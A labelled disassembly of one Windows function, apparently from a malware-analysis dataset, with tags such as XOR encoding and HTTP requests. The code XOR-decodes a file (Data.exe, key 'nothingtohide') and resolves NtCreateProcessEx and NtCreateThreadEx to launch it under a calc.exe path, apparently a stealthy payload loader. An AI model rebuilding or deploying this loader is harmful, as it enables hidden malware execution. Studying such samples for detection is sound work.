Function at 0x140001960
Capabilities:
Connect to http server
Create http request
Encode data using xor
Get common file path
Get file size
Query environment variable
Read and send data from client to server
Read file via mapping
Send data
Send http request

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x3e0]
sub rsp, 0x4e0
mov rax, qword [0x140009040]
xor rax, rsp
mov qword [rbp + 0x3d0], rax
movaps xmm0, xmmword [str.C:Users_n0dai_source_reposSAFEx64DebugData.exe]
movaps xmmword [rsp + 0x40], xmm0
movaps xmm1, xmmword [0x1400056f0]
movaps xmmword [rsp + 0x50], xmm1
movaps xmm0, xmmword [0x140005700]
movaps xmmword [rsp + 0x60], xmm0
movaps xmm1, xmmword [0x140005710]
movaps xmmword [rsp + 0x70], xmm1
movaps xmm0, xmmword [0x140005720]
movaps xmmword [rbp - 0x80], xmm0
movaps xmm1, xmmword [0x140005730]
movaps xmmword [rbp - 0x70], xmm1
movsd xmm0, qword [0x140005740]
movsd qword [rbp - 0x60], xmm0
xor ebx, ebx
mov word [rbp + 0x1c0], bx
xor edx, edx
mov r8d, 0x206
lea rcx, [rbp + 0x1c2]
call sub.VCRUNTIME140.dll_memset
lea rcx, [0x1400055f8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
je 0x140001ce6
lea rdx, str.NtCreateProcessEx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140009958], rax
test rax, rax
je 0x140001ce6
lea rdx, str.RtlCreateProcessParametersEx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140009950], rax
test rax, rax
je 0x140001ce6
lea rdx, str.NtCreateThreadEx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140009948], rax
test rax, rax
je 0x140001ce6
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp - 0x50]
call sub.VCRUNTIME140.dll_memset
lea rdx, str.logs.txt
lea rcx, [rbp - 0x50]
call fcn.140002e00
nop
lea rdx, str.Repair_logs._n
lea rcx, [rbp - 0x50]
call fcn.140003340
lea rcx, [rbp - 0x48]
call fcn.140003280
test rax, rax
jne 0x140001ade
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x50]
add rcx, rax
xor r8d, r8d
lea edx, [rbx + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
lea rcx, [rbp - 0x50]
call fcn.1400018a0
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp - 0x50]
call sub.VCRUNTIME140.dll_memset
lea rdx, str.repairlogs.txt
lea rcx, [rbp - 0x50]
call fcn.140002e00
nop
lea rdx, str.WIP._n
lea rcx, [rbp - 0x50]
call fcn.140003340
lea rcx, [rbp - 0x48]
call fcn.140003280
test rax, rax
jne 0x140001b44
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x50]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
lea rcx, [rbp - 0x50]
call fcn.1400018a0
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
lea rcx, str.Test
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rsi, rax
test rax, rax
je 0x140001c0c
mov r8d, 0x50
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea rdx, str.www.google.com
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetConnectW]
mov rdi, rax
test rax, rax
je 0x140001c03
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x30], ebx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x1400056d8]
mov rcx, rax
call qword [sym.imp.WININET.dll_HttpOpenRequestW]
mov r14, rax
test rax, rax
je 0x140001bfa
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.WININET.dll_HttpSendRequestW]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rax, [rbp - 0x50]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea rcx, [rbp + 0x1c0]
mov rax, 0xffffffffffffffff
inc rax
cmp word [rcx + rax*2], 0
jne 0x140001c33
test rax, rax
jne 0x140001c5c
mov r8d, 0x104
lea rdx, [rbp + 0x1c0]
lea rcx, str._SystemRoot__system32calc.exe
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [r9 + 1]
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x140001ce6
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor edx, edx
lea r8d, [r9 + 2]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov r15, rax
test rax, rax
je 0x140001cdd
mov qword [rsp + 0x20], rbx
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 4]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov r12, rax
test rax, rax
jne 0x140001d1b
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xffffffff
mov rcx, qword [rbp + 0x3d0]
xor rcx, rsp
call fcn.140003a20
lea r11, [rsp + 0x4e0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
mov r9d, 4
mov r8d, 0x3000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
test rax, rax
je 0x140001ce6
mov r8d, edi
mov rdx, r12
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rdi, rdi
je 0x140001db5
movabs r8, 0x4ec4ec4ec4ec4ec5
lea r9, str.nothingtohide
nop word [rax + rax]
mov rax, r8
mul rbx
shr rdx, 2
imul rax, rdx, 0xd
mov rcx, rbx
sub rcx, rax
movzx eax, byte [rcx + r9]
xor byte [r14 + rbx], al
inc rbx
cmp rbx, rdi
jb 0x140001d90
mov r8d, edi
mov rdx, r14
lea rcx, [rbp + 0x1c0]
call fcn.1400015f0
movzx ebx, al
mov r8d, 0x4000
mov rdx, rdi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
neg bl
sbb eax, eax
neg eax
dec eax
jmp 0x140001ceb